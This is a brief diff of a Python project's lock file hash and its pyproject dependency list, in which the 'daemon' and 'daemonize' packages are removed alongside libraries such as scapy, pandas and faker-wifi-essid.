@ -409,4 +303,4 @@ files = [
[metadata] [metadata]
lock-version = "2.0" lock-version = "2.0"
python-versions = "^3.11" python-versions = "^3.11"
content-hash = "04596bf28419e3f62541cfe785f8cba26bfab7e5e44f31efbe737947c39324ec" content-hash = "2bb920cc68aa6158f1d5f4b53aa0a0f2c60e0f246991e1b911567cd9644b1bb2"

View file

@ -14,8 +14,6 @@ art = "^6.0"
scapy = "^2.5.0" scapy = "^2.5.0"
configobj = "^5.0.8" configobj = "^5.0.8"
pandas = "^2.1.0" pandas = "^2.1.0"
daemon = "^1.2"
daemonize = "^2.5.0"
getmac = "^0.9.4" getmac = "^0.9.4"
faker-wifi-essid = "^0.4.1" faker-wifi-essid = "^0.4.1"
simple-parsing = "^0.1.4" simple-parsing = "^0.1.4"